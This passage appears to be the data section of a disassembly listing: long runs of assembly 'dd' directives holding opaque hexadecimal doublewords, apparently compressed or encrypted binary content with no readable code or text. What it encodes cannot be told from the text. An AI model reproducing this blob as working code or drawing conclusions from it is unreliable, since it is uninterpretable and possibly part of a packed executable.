		dd 2AD26106h, 0DCC647E9h, 2E310799h, 0A303739h,	4500DC01h
		dd 70656378h, 1C6F6974h, 0DD49206Eh, 6D728566h,	70C1261h
		dd 97656C0Bh, 202C3173h, 74189E63h, 0D5F1F37Ah,	73E3F768h
		dd 77E366E3h, 123E72EBh, 3E763F64h, 0FB70BC6Ch,	77349AB0h
		dd 1D593469h, 26B16C76h, 0B1676E1Ch, 2E734067h,	0DC7154DDh
		dd 79F56BF5h, 0AEC75F5h, 0E904DF0Dh, 70288C01h,	6EC07380h
		dd 4C525443h, 65FFEB2Bh, 1E6978EBh, 7A645B46h, 7BC51874h
		dd 8477970h, 6297696Ch,	5164DAFCh, 42033629h, 0A6DF4256h
		dd 793D7F7Fh, 431ECC25h, 6B1563E8h, 230F4E49h, 554F8464h
		dd 72507054h, 1D44FF6Fh, 3BA30F2Dh, 83F3200Fh, 0F3D43B6h
		dd 95B71E90h, 188E1A50h, 5401E3Ah, 1E4BF5BDh, 0E3C258Dh
		dd 0F1A6D785h, 410E90E2h, 80219292h, 0B2E7B8E1h, 62C82419h
		dd 0D21907CFh, 96B89B79h, 58554257h, 0C2D73BE5h, 1B2B2971h
		dd 38D64425h, 0E2648D67h, 648DB438h, 8DD238EAh,	0BB38E664h
		dd 38DA648Dh, 0DE648DC3h, 4885CA38h, 21A9C20Ch,	0C4A2E902h
		dd 0C9BD123Fh, 953A321Fh, 21050DA2h, 4DE4312h, 0D5958B1Bh
		dd 0C2810123h, 99291CF8h, 0F2958D85h, 3452182Fh, 1FC34028h
		dd 0CB893BD4h, 451324BDh, 55400C44h, 0A89D8B88h, 0BE4CC313h
		dd 0A3652944h, 88501011h, 85479D6h, 589087E2h, 5C79E688h
		dd 948ADA08h, 0AD0DFADCh, 416811AFh, 905A49CDh,	0DAC8DE0Ch
		dd 0E232E664h, 0D20CD619h, 0CC0A848Ah, 55041C98h, 6FC072Fh
		dd 683821Bh, 0D506166Dh, 406A24C4h, 2EEE2924h, 61CE4919h
		dd 0F09601F0h, 0EBC18B60h, 529BB318h, 2027CC1h,	0E3405060h
		dd 98C43F29h, 0C2610332h, 0E6342504h, 14606306h, 85F60840h
		dd 0C4F335Ah, 0F8E9C324h, 0B5318B21h, 0E6818FD0h, 18ACF0C1h
		dd 0E4E865DFh, 0C64F8117h, 0B53BC243h, 0F390DD4h, 0D851E986h
		dd 22F2D820h, 6FC0CFE6h, 0C88C6650h, 0A032E24h,	2A8414E2h
		dd 90579D7Eh, 91858B07h, 1886024Dh, 3F42DB0Ah, 0AA0E670Bh
		dd 24048C3Dh, 5089CFC6h, 8A9E1FEh, 1820D938h, 13E0FF6h
		dd 0E6FE2E4Ch, 531CC004h, 7B660AB4h, 9FC6289h, 53B95B02h
		dd 74C5D09h, 21430A82h,	30BB11E0h, 80CBEF53h, 0C30363E3h
		dd 4B423884h, 0B1C7F376h, 0B73C146Dh, 0E6448BC6h, 0C5A498E8h
		dd 0F1068955h, 0E295E318h, 322343E3h, 995BBD01h, 6010A3A2h
		dd 0EA923E80h, 1BB3144h, 763AB7A1h, 0CAB101B0h,	0AC40115Eh
		dd 3902C88Ah, 0D10332C3h, 0D20BAACBh, 19014022h, 0D6C90A4Ah
		dd 0F02316E5h, 1011D4DDh, 0D48B5207h, 87A3057h,	0E950C033h
		dd 8038AA21h, 158D563Fh, 0DBC5A5Fh, 32565153h, 0AC8FFB2Dh
		dd 0D3D1D840h, 0BC0DC381h, 0B037465Ah, 0B49D1E7h, 3E89791h
		dd 595EC38Bh, 9860A25Bh, 0A311E97Bh, 2AEA2B2Bh,	8C04477h
		dd 35DFE4E7h, 0A8D80F03h, 293C2904h, 127592D4h,	58AB89A8h
		dd 85348F60h, 64822179h, 0BD068771h, 388983C8h,	3F4A23E9h
		dd 7E8B648Ch, 17050240h, 899B46F3h, 14192192h, 46ACFE3Ch
		dd 30A38E1Eh, 0E9AE88E4h, 0DF698768h, 721276A4h, 0C7A4D00h
		dd 12CAB2B8h, 31E9A945h, 0C830065Fh, 4602C8D1h,	820FF73Bh
		dd 58D92F1h, 282F08EAh,	2E284C65h, 51560928h, 2C130853h
		dd 300C4A09h, 0A12D3C67h, 4100AC9h, 13023498h, 0C3C1D832h
		dd 0BA1C4208h, 5B1C8167h, 37455E59h, 0A43517E0h, 0CD52E98h
		dd 44294581h, 2205990Ch, 49C41B51h, 8F73C8E8h, 47D10064h
		dd 0CE802B40h, 5CA85E2Ch, 3900FFAFh, 42F4D255h,	25A7035h
		dd 0FAD0B85Fh, 99615132h, 27DD3039h, 37D8644Fh,	8F9B1EC7h
		dd 105B004Eh, 0DEBFE32Dh, 0F7679B2h, 68BD91Ch, 0C081D880h
		dd 3B73F95h, 22E3B953h,	0E8D80ACAh, 7B012CF4h, 9F51BA37h
		dd 2C80537Eh, 350CEA7Fh, 0DA0C8B66h, 0C600689h,	6159C0C7h
		dd 8004EE83h, 1643EA3Bh, 0F68C01EFh, 0D40A03BAh, 2FE9659Eh
		dd 41EE1500h, 505C3B81h, 7014154Fh, 27006663h, 0DF5E23D9h
		dd 3C3FA6AAh, 0D39D2A59h, 6643FE0Ah, 0B500C11Ch, 3117A6E7h
		dd 233D1F72h, 0CDDD4022h, 0AEB70BCBh, 402E028h,	112AA030h
		dd 0E12320Eh, 104FAB8h,	27A2C0BDh, 23E53442h, 6DB5D200h
		dd 0FE160288h, 39B7F809h, 0BEB78B6Bh, 46B98040h, 0AB06018Eh
		dd 0E5219069h, 6C3A0C28h, 0E040254Dh, 0BE3B1114h, 34A0138h
		dd 156944B6h, 0EC412080h, 2DFAE7Bh, 52381E00h, 0F07D78FFh
		dd 21400068h, 0B38454E2h, 3C1E8C3Ah, 0BE8B1615h, 0ED8B8039h
		dd 0C3E7CCh, 8C46BF85h,	0B86BB129h, 831D44A1h, 653A1851h
		dd 0C5311C69h, 4314D44h, 7498EC80h, 9FBD30Fh, 35DA640h
		dd 88DF0818h, 7D14AF34h, 1E2088h, 0F78F6B33h, 64B6FF91h
		dd 94E93D68h, 30373B26h, 0C1697FC3h, 108FC140h,	35E63444h
		dd 4F870D5h, 0E1A0D940h, 6B8C48h, 0E3D2DB77h, 5C39F378h
		dd 6DF273Ah, 0A77984B6h, 6B140E29h, 9721BD51h, 52A83ACCh
		dd 0E920C5B0h, 2AC60F5Ah, 33F8F53Dh, 2248ED63h,	0F4F942E0h
		dd 0DA782D00h, 0D3338CD8h, 796309FCh, 0C480E0B7h, 3C1229D7h
		dd 0ECC87E51h, 49C0C998h, 0B8B4419Ah, 0D7ED24E0h, 0DC044828h
		dd 8CF9718h, 61E6C910h,	436A18BCh, 0A0DC40E8h, 0B7E025A2h
		dd 3D506890h, 0EC01C99Ch, 6BDFABFCh, 2990EAF6h,	3F92848Eh
		dd 0E180D848h, 0A70CADCBh, 0C7330010h, 91014670h, 0C800773Ah
		dd 542D852Ah, 0ECFAE6h,	75506E18h, 2E17ADE5h, 0A45CAC00h
		dd 6C82F8B9h, 4250091h,	0A14C137Eh, 0FD009397h,	0C67B353Ch
		dd 3C548CF8h, 0FD1FE4h,	0F0D4CDDEh, 0DCCA85BDh,	0A0247100h
		dd 108348F5h, 8A26003Ah, 0B91FB278h, 9D015969h,	1C70CC86h
		dd 0EB603905h, 6404001Eh, 2653CB29h, 612AF337h,	20FA9CF6h
		dd 170A1601h, 538DE1BCh, 144F4ECCh, 816D521Dh, 6C90F600h
		dd 79F1F208h, 0B5F94607h, 0C953D642h, 76F8B019h, 585500EDh
		dd 2FD6F74h, 0D309401Ah, 92E0D9h, 78E442FAh, 0CFC60243h
		dd 3044F12h, 70EED480h,	83001502h, 0C4384590h, 4484B9h
		dd 0CF4BAC32h, 7941E174h, 8077EF00h, 5DC7F07Ah,	248F870h
		dd 2A2FACE0h, 9490193Bh, 4101CB44h, 9C161CB8h, 0D540DBE3h
		dd 0E251D2DCh, 0A63D00E9h
		dd 11CCD626h, 0AE1EED84h, 7BE5C4Dh, 7472FAA1h, 8323C792h
		dd 98113FACh, 0D181A7h,	49D524B6h, 3626E48Ch, 0A6B4320Fh
		dd 28CC2086h, 2802E597h, 1D4D1AEh, 7CDE3D70h, 0D4DD55ABh
		dd 0F4005C53h, 88144BC0h, 72EE9CB4h, 9BBC00ADh,	58A2061Ah
		dd 0D9005C7Fh, 0ECF4EA85h, 107B72Ch, 0BFE636ABh, 0E48C1275h
		dd 7A3843FDh, 65908EE9h, 52102068h, 7E0CD8DBh, 0A6860C79h
		dd 0F72C28BFh, 483FC101h, 0C95B1F3Eh, 3DE8AFF9h, 0B1050070h
		dd 3AE09CC2h, 0CB735F1Eh, 0A02B49h, 0E4C327F9h,	319C51Dh
		dd 0CC5E0382h, 30D75356h, 0FE74360h, 0DDE1A600h, 8DB7AAA4h
		dd 0DECA09Eh, 0E5BD3F04h, 0E913AF80h, 8BABF09Ch, 5F57DE00h
		dd 871FB426h, 56DB03EEh, 0A33709CFh, 63E3BD8h, 93000490h
		dd 59A2474Ch, 0EA39108Fh, 0F39E0337h, 0C069726Ch, 5C35A6B8h
		dd 0F68D7500h, 4248C6E9h, 1D89000Fh, 0AC5A5609h, 0E20385D6h
		dd 8E383A63h, 1487DC0Ah, 0C7A6B251h, 0CF45F4h, 58E530F4h
		dd 0B1D78D5Dh, 0EE9BF8C0h, 0A79D19h, 0F860B2B6h, 5A68DB88h
		dd 0A9D43C2Ch, 0C29E6100h, 512BF5h, 7CEE9D5Ch, 0DD3C5B1Ah
		dd 0B4878E04h, 0C8C0A6F8h, 319EC149h, 6B10F703h, 0D62984FCh
		dd 0A880CEE6h, 0DC66312h, 23FB9084h, 0A8C3D838h, 376C1F03h
		dd 0B06EBC19h, 0A582D8h, 0EF7AD35Bh, 0B2F63456h, 0B694F300h
		dd 18A339E1h, 127A8Fh, 938ACFBDh, 0BB43F085h, 358D5416h
		dd 4C002D1Eh, 0D10BC37Fh, 0FB2100E8h, 12CE5970h, 1FFEEACFh
		dd 0A1530700h, 9CD3294Ch, 1D0898B9h, 0C3FE3B70h, 57C38037h
		dd 0E1515087h, 18006749h, 0E49D15BAh, 77C6B76h,	0C5E05EA9h
		dd 7EE2AFF4h, 8280CCBCh, 0E1FBF289h, 0EEB47404h, 70C24E83h
		dd 42276103h, 1F9BD0E7h, 0A045ECDAh, 70FEC394h,	3D2400C8h
		dd 40BBC1E5h, 4D007735h, 91A1F526h, 14A5FE8Eh, 0A82A72D4h
		dd 14677D00h, 8313F4FDh, 2E7DE02h, 60DBABF8h, 55201Ch
		dd 0E386D5D9h, 0A9C19F62h, 9E50CE0Fh, 1BFF60E6h, 4BC4E4h
		dd 4249A19Ch, 0AB9455F0h, 9B010C00h, 58B25954h,	0E1A9008Fh
		dd 7B76E347h, 1B0064ACh, 99EBC7AFh, 0DA114h, 0BE623E54h
		dd 0D0219D12h, 13DEF0A0h, 1BA38000h, 978AB407h,	0F22F0061h
		dd 680A437Ah, 9171EBC3h, 0F04B520Ch, 17088CAh, 146E6585h
		dd 418A11CBh, 20A14195h, 331DFE60h, 0C64283A0h,	41EC6102h
		dd 0D5DC18B8h, 2873E20Bh, 7DB0991Ch, 7991009Ch,	0CAB65666h
		dd 0E303DA52h, 107AFC93h, 91FE019h, 53E801h, 639B8A38h
		dd 95F59C22h, 60E1C098h, 0C00D374h, 41A333C8h, 0F461E11h
		dd 18958A25h, 4BAD0C0h,	0E201A84Ah, 0C25C1FE1h,	0F88BB8EAh
		dd 2300BC05h, 899DAC74h, 1C309707h, 2DC09A0Fh, 0A27E8Dh
		dd 0F3332F26h, 0E4BB532Ch, 0AB82A800h, 0B1E6A013h, 36F0C199h
		dd 0C48F14E2h, 28E25D3Eh, 0D62CC400h, 72098C11h, 68CF0598h
		dd 510A4A1h, 8CD137CCh,	0AE04A370h, 98EE5C2Bh, 0FF9E080h
		dd 0C4CE017Ch, 8B423F78h, 91187428h, 0AA649E06h, 3C01CEEh
		dd 0E16EFE72h, 10161FBCh, 9040D681h, 2DD7B2C5h,	0DD2A00ACh
		dd 89FCBB5Fh, 96707673h, 8E9E9900h, 37494124h, 0BE0306D7h
		dd 80D95D0Ah, 774A4200h, 0CDE84FDCh, 0FE0FF279h, 770B2BAh
		dd 6038473Eh, 0E8E430A4h, 2E14F797h, 0E88840h, 45A5CBC0h
		dd 142944Eh, 0F49D80CEh, 804A83B5h, 0A41A0138h,	39E44ABh
		dd 0EA043A7h, 0C40E4577h, 412B0D32h, 5A446F83h,	0D6009472h
		dd 1F754560h, 3E0310EDh, 7CAB349h, 0D3638882h, 2F0E00B4h
		dd 238FB7F5h, 5A00F062h, 22892966h, 7E44B691h, 1C7D1CEFh
		dd 9ACCC4D3h, 1E4880A4h, 0F60737AFh, 62630A0h, 9EBD6CA0h
		dd 563B001h, 5ED52DCh, 9B10C059h, 5A7CA8C4h, 0A3C8D60Eh
		dd 8EBF20CBh, 0A38F2AA6h, 0B7C6E8E9h, 3F0407DFh, 0B075D845h
		dd 4D3233AFh, 4A842B00h, 0C60C646Dh, 15760286h,	0EF430B93h
		dd 1244D8A0h, 0A00208Eh, 0D3D75759h, 95711D8Ch,	683E3880h
		dd 0FA0274F8h, 0E3F91382h, 9378C3F3h, 502A2C7Eh, 0F908044h
		dd 3F76853Ah, 0D482DC24h, 17F95C02h, 0B71CC8FDh, 0F3ED00D6h
		dd 25FCE3F6h, 0F03073E8h, 18E92E21h, 1C8300D5h,	1497C806h
		dd 9F00C0FEh, 0A8B8F60Ch, 0B2FEB07h, 25E93931h,	8AE02883h
		dd 385C3480h, 21E47025h, 35BBECB4h, 181326CCh, 18400F17h
		dd 0DB0C3F69h, 11378D16h, 48C0F12Fh, 242B0082h,	0D2CB8E18h
		dd 0BB7EC763h, 0F700AA7Ch, 79841020h, 0A9A311h,	5DB73885h
		dd 270C3A0Bh, 3CA073EEh, 0EB008437h, 956423D2h,	4C486FC4h
		dd 12008FBFh, 842E2AD7h, 1750B082h, 0D31C2F9Eh,	3B830D4Fh
		dd 0A0B71434h, 2D2E38Eh, 309D8C36h, 0BC4807A6h,	0B3037D85h
		dd 0ADB3767h, 0D081ADFh, 245AA861h, 20CE38h, 787F4DB7h
		dd 9894CBh, 0E7CCF412h,	0A83A7C05h, 97B7EE06h, 18580902h
		dd 40BD19C9h, 0ED4A5D6Ah, 1FAAE404h, 44429344h,	6B03F6F4h
		dd 2921EF08h, 43FC0896h, 0E84E090h, 968248F1h, 5070408Bh
		dd 1A9C893Bh, 764F6D00h, 0FF1EA6E4h, 0AA58012Eh, 6B13A8BBh
		dd 82A86447h, 55C53Bh, 4AE05235h, 4B81A73h, 3E27D977h
		dd 0C2A480A6h, 96071353h, 6B149E95h, 0C48052FFh, 302C61C3h
		dd 0FE111A82h, 0DC981493h, 0A4B2EB78h, 0B12D7600h, 24C66B2Ah
		dd 460A3035h, 0E7F4ED18h, 81B5EF3Ah, 0CC9EAF0h,	0BC281E78h
		dd 28DF4218h, 4E0097C4h, 0AFEF5460h, 0AC96FAh, 5D238AE2h
		dd 6FF285F4h, 5BECB707h, 15403E2Dh, 0CF2603h, 9C339EE4h
		dd 0ED626C17h, 0B26F2407h, 0B9E06E63h, 4ECBC1h,	0C802A06Ah
		dd 0FCE0894Fh, 75DC470Fh, 62C6C3C3h, 9374B823h,	3E333D12h
		dd 0B4B30380h, 0E2B7CA80h, 0F55A5200h, 0A707957Bh, 90247F37h
		dd 1E500014h, 4516EC9Ah, 0DF17A323h, 4B0EE980h,	743A20B4h
		dd 0C6406Ch, 0D8051F76h, 9D129BFh, 98DF8A00h, 0E57E5344h
		dd 35DB01FBh, 0D06B7289h, 50F42084h, 0F613FD1Fh, 1AB720C0h
		dd 5510B4FAh, 6CE8B866h, 0E800B835h, 556900CEh,	495DAAF4h
		dd 571A628h, 26ABB500h,	1C2B0CA5h, 0C97B256Eh, 80492800h
		dd 0D8A8AE8Dh, 0BF004B32h, 8B86395Ch, 94B5B44Ah, 1C91788h
		dd 650D9094h, 5CD4500Fh, 6D0081A0h, 599AF839h, 0C0E78FBh
		dd 0C1A366F0h, 48044161h, 9B13979h, 178D1490h, 47951F5Eh
		dd 0FCE24050h, 0A78E9CD8h, 7419FC90h, 8389139Fh, 0E00680F8h
		dd 0D158006Ch, 0FD5CC8CBh, 0D507DD8Dh, 85C63CE0h, 179283h
		dd 0B0061690h, 8D08AA28h, 9E7E7B0Eh, 870EA755h,	0D78A60A0h
		dd 26F9F2D1h, 0F284C28h, 3AC19CF6h, 7106D96Fh, 21C2F4E4h
		dd 47A36400h, 0AF95B170h, 0FDAB009Eh, 39148EC7h, 3A71DC25h
		dd 404DF700h, 5D0353AEh, 1F850074h, 154BE2FBh, 14EED306h
		dd 60E30F26h, 0AC423A03h, 798B80D1h, 0BDCA008Ch, 0F694263Fh
		dd 5E0FEFCDh, 0C0AB9A28h, 0EE971B43h, 0D2E7074Ch, 21AE0574h
		dd 747BD042h, 2909A7D8h, 0A80E38h, 0C32392D0h, 177FEDh
		dd 1D88166Fh, 2EB3FC79h, 0A7E8AD00h, 0EB64AC3Fh, 39A98E3h
		dd 0B0BFB268h, 11E89084h, 5A00252Ah, 0FF3C2D05h, 12913D23h
		dd 77BB34Eh, 0E0CB1408h, 35690786h, 0C000624Eh,	0DACF5C1Bh
		dd 94453DE5h, 0BC33EA1Fh, 305BC300h, 0CB1B44A7h, 160207FCh
		dd 43663175h, 0B24840D4h, 0EA800E38h, 0A900746Dh, 924F4688h
		dd 312A0F0Eh, 5A3DC7E1h, 0C595F381h, 23FA002Ch,	4C6CA854h
		dd 64058836h, 0C07BBD3Bh
		dd 12A49DBFh, 0C0788A12h, 0D899AF00h, 0DFC67Ah,	479668E5h
		dd 806555DDh, 83E98CA0h, 3FD60A18h, 4D25DAB9h, 0A51E78FAh
		dd 49C441E3h, 0C08D0ED1h, 1C001DBFh, 0B3D92943h, 98FC4B53h
		dd 0C14207E4h, 0E0E6FF23h, 1C788E49h, 5A30881Ch, 858DE080h
		dd 0EA136365h, 0A148004Fh, 36C5D34Bh, 1926E273h, 6A0044AFh
		dd 88F4D96h, 24060185h,	0AA35BD43h, 26542010h, 6E026000h
		dd 194AFE94h, 143E275h,	0B64CB099h, 40297C3Ch, 84A4FCD0h
		dd 3880F59Dh, 0CB963337h, 804D726h, 82DC030Eh, 601FC911h
		dd 479273h, 25CA34Eh, 36A72FDAh, 5003898h, 76FA66FDh, 9F32F8h
		dd 0E6798D39h, 16465CCAh, 0EA149209h, 0C39D89C7h, 0E342ABA4h
		dd 0B3C6A83Bh, 0AB2E14D6h, 1D22B48Dh, 2D352500h, 0C189A938h
		dd 0C9894E1h, 0AAF90F55h, 1B6BA27h, 4347C7F0h, 72F0D8F7h
		dd 4CD54D6Fh, 857C5500h, 34F349B2h, 0D6065D02h,	80D32BC5h
		dd 181F08D0h, 0E5E9009Eh, 0EDA535ABh, 43197DD6h, 8F890F8Bh
		dd 6650D0h, 0FF9517ADh,	0AE280CCCh, 0C15CA115h,	4F2607FCh
		dd 59B31BA8h, 514AB0A3h, 0D5CD1714h, 885C00EFh,	454964E1h
		dd 0E50F4A98h, 8972F376h, 1A5C8042h, 0C9247FEh,	0F7D2784Fh
		dd 331F17B8h, 0A6C0CE74h, 3B6A340Bh, 0F6503051h, 4E937A21h
		dd 0CE767B00h, 0B1A44365h, 21179A3h, 1EE90B49h,	146471C2h
		dd 6D09F477h, 3F00D3Ah,	0F3CFEABFh, 0CEC3A09Dh,	0FD8B000Bh
		dd 6CA578BCh, 29004BC1h, 7F315B50h, 1DEBF604h, 0C0383F27h
		dd 0CB30CDC4h, 0BF7A2E67h, 6D754E03h, 0A868276Eh, 1C662560h
		dd 0C05DA384h, 78373E5Bh, 34287172h, 740F8809h,	609645FDh
		dd 2A76BA7Bh, 2FE601D3h, 2311E00Dh, 70286Bh, 5D487E16h
		dd 0B015A7DDh, 0DAE1006Fh, 6A9AEFC2h, 0CC03BB7Bh, 9F1D4736h
		dd 0E889B8F7h, 116E0042h, 0DEA90AA1h, 0DF00D77Ch, 95FB34A5h
		dd 98AAB294h, 0C73601A4h, 9B17EE5Fh, 0E0A0DA76h, 0CECB1047h
		dd 0E5BDAD0Bh, 0EB8278Ah, 0CF0AE710h, 9C1B009Ah, 8E50B6A6h
		dd 0A51F880Dh, 0C74E29B0h, 4C53232Bh, 0B8B085B8h, 94DE00B3h
		dd 73375D7Eh, 5B0102C8h, 8DB9FA4Dh, 0F02DCA48h,	2C1D6205h
		dd 0D7E80069h, 47B89112h, 7EC4F000h, 190C4A3Fh,	0AF21C02Bh
		dd 0FB3817AAh, 0F9169494h, 0B68060C9h, 5D04CAB5h, 9D00BF53h
		dd 598E6D0h, 8CAECEh, 0D4366713h, 1B96BAB0h, 0B981C060h
		dd 4D63Eh, 0DB2F168Fh, 1F15EEB5h, 139DDA50h, 0B40FD3FCh
		dd 0C0CCCD0Ch, 0C9BFBA3Fh, 0B8B20037h, 0B0AA2FD1h, 9F002ADAh
		dd 9D5C6227h, 555671Dh,	8C378294h, 0C813859Eh, 3F81A6C0h
		dd 0D01F6901h, 4F6F6416h, 8F0F0F20h, 38E68201h,	25085A72h
		dd 0D020EE61h, 5F04CB3Eh, 56084060h, 25911Fh, 350A20BCh
		dd 5517ECC0h, 74009BB0h, 0A9F8F3E1h, 14EE11h, 7A84BBA6h
		dd 62F3D66h, 5EB93803h,	3FC561Fh, 27043768h, 7A1B33Ah
		dd 0D161C112h, 0C006E4DBh, 233DE400h, 6C6D0D0Bh, 0DC740229h
		dd 0CBF7609h, 63EE2458h, 14AD80h, 0A4321027h, 19A6A007h
		dd 3E09B7E0h, 80236C82h, 66FF01F6h, 0D5460018h,	42C7E3B5h
		dd 6530C980h, 2327E8B8h, 61EE0070h, 7DEA2463h, 0B600A04Fh
		dd 1E5D72BAh, 0CBBEBC0h, 9ADB290Eh, 0A5E08CC0h,	9CCA5500h
		dd 8B1B2706h, 7B4305E0h, 0C153A1FDh, 0D51CF290h, 0D630815Bh
		dd 0E4EF2CC4h, 0E5F0D3F5h, 0F3EE00CDh, 20AC8999h, 0B103AF07h
		dd 0ABDB9D2Eh, 14D4D822h, 4E5E00C0h, 0FE6D9F2h,	1300EF42h
		dd 9B68F964h, 34B3D4h, 31ABEE6Bh, 17869409h, 0AECC6D00h
		dd 46CA9E30h, 5A8700CFh, 15D6DBFCh, 1300F443h, 0AB560960h
		dd 3CDCAh, 21BFC974h, 38A4941Bh, 37AF7600h, 0D310E447h
		dd 5CE02FB3h, 20A9CC97h, 0FA04533Eh, 23059783h,	7D481002h
		dd 0C3E7CCFEh, 2DD9823h, 28180020h, 4697BE21h, 28CEB43Bh
		dd 10CD0811h, 29738413h, 83423248h, 9F0C2B01h, 2B441329h
		dd 0E22841Eh, 7E08E303h, 840A2C44h, 42077422h, 309311D7h
		dd 113AF611h, 0C32A094Bh, 0E235443Ch, 100714A0h, 1D08AF89h
		dd 84CE3C44h, 42152B22h, 3E7A119Bh, 3008BA21h, 84879016h
		dd 0A6483F39h, 24181442h, 42D42173h, 0F5109212h, 105F891Ah
		dd 7FF275E9h, 0BBBD0073h, 4168F70Bh, 9B00C1C5h,	0D48CA20Ch
		dd 3CE2ED8h, 17C09DB6h,	0E380E972h, 2C00B046h, 547D06ABh
		dd 7CE19E73h, 8B370019h, 65B84BC4h, 0E500F66Ch,	79EA30C2h
		dd 0B2DBB64Ch, 3D5B00B0h, 407AD856h, 0DAB0C125h, 0EB09587Bh
		dd 6321A89Dh, 0C29CE8D4h, 0F29B01F4h, 662AAAEEh, 14ABC043h
		dd 0B50373Fh, 80E773CBh, 1522855Ch, 0E8DC027Dh,	260F436Fh
		dd 0C03F854h, 0E0B68B25h, 0AD444BCh, 1946C327h,	0B3D0078Dh
		dd 808935A1h, 0DDAFA66Ch, 4BB1F500h, 9DAC463Bh,	60F96082h
		dd 67BFB673h, 15804E00h, 0C9EDF3CCh, 4CA000E3h,	52A94B8Fh
		dd 0FB001DDCh, 504EFE04h, 13DEFC8Bh, 4A063F8Eh,	608835F0h
		dd 0E227FA75h, 13EE7112h, 79224A0h, 67BBAFADh, 53A14EA3h
		dd 0F148D8F9h, 5F9C50DFh, 0A50B6531h, 8042CE32h, 263A5160h
		dd 0CDB4018Bh, 74085CB2h, 0E095D9FCh, 7C009C04h, 68F85332h
		dd 65364Fh, 44AF7B62h, 6BE91B72h, 9F0D707h, 86C0F453h
		dd 1F0F783Bh, 0C07EDE2Bh, 1A237318h, 0D7001D85h, 0B93FA2FBh
		dd 0F16E31h, 3B91745Dh,	7F668428h, 41E1510Bh, 3F8700EFh
		dd 0A33E0Ch, 9C0FB9Eh, 6D589691h, 0DDCF1500h, 4502B6FCh
		dd 0A4080F79h, 0A9C0855Eh, 60E28EB8h, 3B123C00h, 9A206197h
		dd 989F6F7h, 0DCB77790h, 84661460h, 0AADD5D00h,	0DB9B9C14h
		dd 0C8150275h, 0CBE779E6h, 69FC4460h, 0C203467Ah, 8B9F0F90h
		dd 555988D5h, 0E6600708h, 0F12C4020h, 22B14B3Ah, 76007F64h
		dd 0FF98449Bh, 3EC81169h, 0BE0421C7h, 808CA477h, 0D0C1246Ch
		dd 0A08A095h, 1620A0E8h, 0C5A2D8E1h, 0FB2CC0DCh, 24964773h
		dd 0BC65C700h, 4AF1CCC1h, 9478D0C2h, 0A4A32175h, 4122E6A8h
		dd 43008879h, 99F9C8C1h, 243C4FA3h, 74065E5h, 70DC53D0h
		dd 707124A9h, 0AD899800h, 8D0DC52Fh, 746D013Bh,	78EE9B11h
		dd 0F8488487h, 6C80CC14h, 263B2489h, 92D4B69Ch,	0B34440A0h
		dd 0EB426ADBh, 0D1717200h, 51383239h, 7F2A00AFh, 3C5ABBA8h
		dd 950376DBh, 1DBE23BCh, 5C4BF858h, 90EC18A6h, 3B4FC049h
		dd 6D85250Fh, 9443E00Fh, 65C64Dh, 0FF70F056h, 0AA444922h
		dd 71ED8D00h, 0AFB2307Bh, 61390E95h, 0C54F153Ch, 0A26817A1h
		dd 6E34F8BEh, 5D7EF200h, 61525336h, 0B8420843h,	5809D344h
		dd 0F05863h, 0E84FEB88h, 0B21978CEh, 0D23FFF00h, 6E0CB57Dh
		dd 91640073h, 5CDDC7F6h, 0B63D8F25h, 41007624h,	0F9E41A71h
		dd 7AF68C9Ch, 97A1009Bh, 0EABA851Bh, 782AF26Ch,	0C025E040h
		dd 0EC81168h, 0C06CAEh,	0A0F7B9Dh, 0C848BEB7h, 0F08B0127h
		dd 1FB0E401h, 0DC99E0h,	0F35064CBh, 7303FEABh, 0FBEA1800h
		dd 4E93466Dh, 7BDEFEC5h, 978E07B4h, 802034h, 314C60Ah
		dd 0AD0F9E00h, 9948CBD2h, 0C7070046h, 2E3D82F2h, 6D48808Ah
		dd 0A5AF0F22h, 0F3A100E4h, 70EFFh, 0E250AB4Dh, 6A98F2C3h
		dd 0EA410A01h, 8C1259E6h, 90CA2620h, 0E85894h, 8F8E23EBh
		dd 0F9A0BA20h, 1F4086B5h, 0D7758D00h, 78DEBBC6h, 0FD5801AFh
		dd 349C6A04h, 64B1301Ah, 2C436500h, 0FE892B29h,	1EF916FFh
		dd 417A0097h, 16E1C624h, 791ABE00h, 8EFFED69h, 183C5853h
		dd 0F1A86200h
		dd 6F7B7875h, 22880D00h, 7A70D3C6h, 978A0345h, 830B9E2Ch
		dd 669C8BF8h, 3C5AC3Dh,	4F333C0Eh, 0E484F812h, 54FA07C3h
		dd 805A078Ch, 583809F5h, 67693Eh, 0E9A03B72h, 3D044578h
		dd 479D051Dh, 0CFAC80ABh, 76F5DBF4h, 0B1F02DE2h, 0BC1DC624h
		dd 8F74873Dh, 187021BAh, 0EEEA71h, 2AB44AE6h, 5E7FD8B1h
		dd 0BD943D00h, 0EA1BE55h, 9D68B6A0h, 0E462C051h, 0BC2A4E1Eh
		dd 76F00200h, 74706642h, 0EDEA24C6h, 0F71338h, 35CCAC7Ch
		dd 9C9EFCBCh, 85D825h, 94E1B5BAh, 6577F8FAh, 7400D87Eh
		dd 6D641369h, 38B20137h, 8600F94Bh, 0CA2063B1h,	6B0222DDh
		dd 7B791930h, 4CDC48B0h, 6298885Bh, 0B4100B03h,	0F05AC444h
		dd 0ECC9C18h, 1C1B3E77h, 4C2B9120h, 0A200CF25h,	7840E859h
		dd 18CAAh, 6DD5FCBBh, 0E1E76486h, 0EE9C1B00h, 0B742B2CBh
		dd 0FE550F60h, 2B407D2Ah, 0D4888695h, 9A997000h, 0AD37DA25h
		dd 1FD8901Fh, 40CEE231h, 7FFF4496h, 1415B5A1h, 17BC0A49h
		dd 0BC80B89Fh, 0F234DCFAh, 0FFAA002Bh, 9C756678h, 1009A43h
		dd 82997968h, 1254D2DEh, 2951B4Eh, 0A8264AF3h, 0F07FD4C9h
		dd 0FE54BA34h, 0A62082BCh, 5F991872h, 0D305076h, 6BF6FD00h
		dd 0EE18369Ah, 0F1E900F5h, 5E8189B3h, 30B82304h, 35AC34E9h
		dd 0CD5BC503h, 0A08709DCh, 9D6D7Ch, 6555130Eh, 3168225Ch
		dd 0F684548h, 1CAA2850h, 0B04CD180h, 4029ABh, 6C45065Eh
		dd 91D0B66Ah, 4EC1E58h,	2D4179F1h, 2F260080h, 4C56580Ch
		dd 25B18C0Bh, 307930C1h, 0BB3F9268h, 89D68317h,	2C1A0Bh
		dd 18A9AC19h, 1BE4616Dh, 36146902h, 0C01A9DCFh,	0E340A2h
		dd 0D09B0D5Ah, 0ACDB5B94h, 34D31600h, 0EF7EB44Eh, 1C80E4B7h
		dd 8ADC9Ah, 4053870Ch, 7B000320h, 91E7841Ch, 0FDB888Ch
		dd 0B31F5C54h, 0DC60A46Fh, 41E57008h, 0CD0F90Fh, 0E49426h
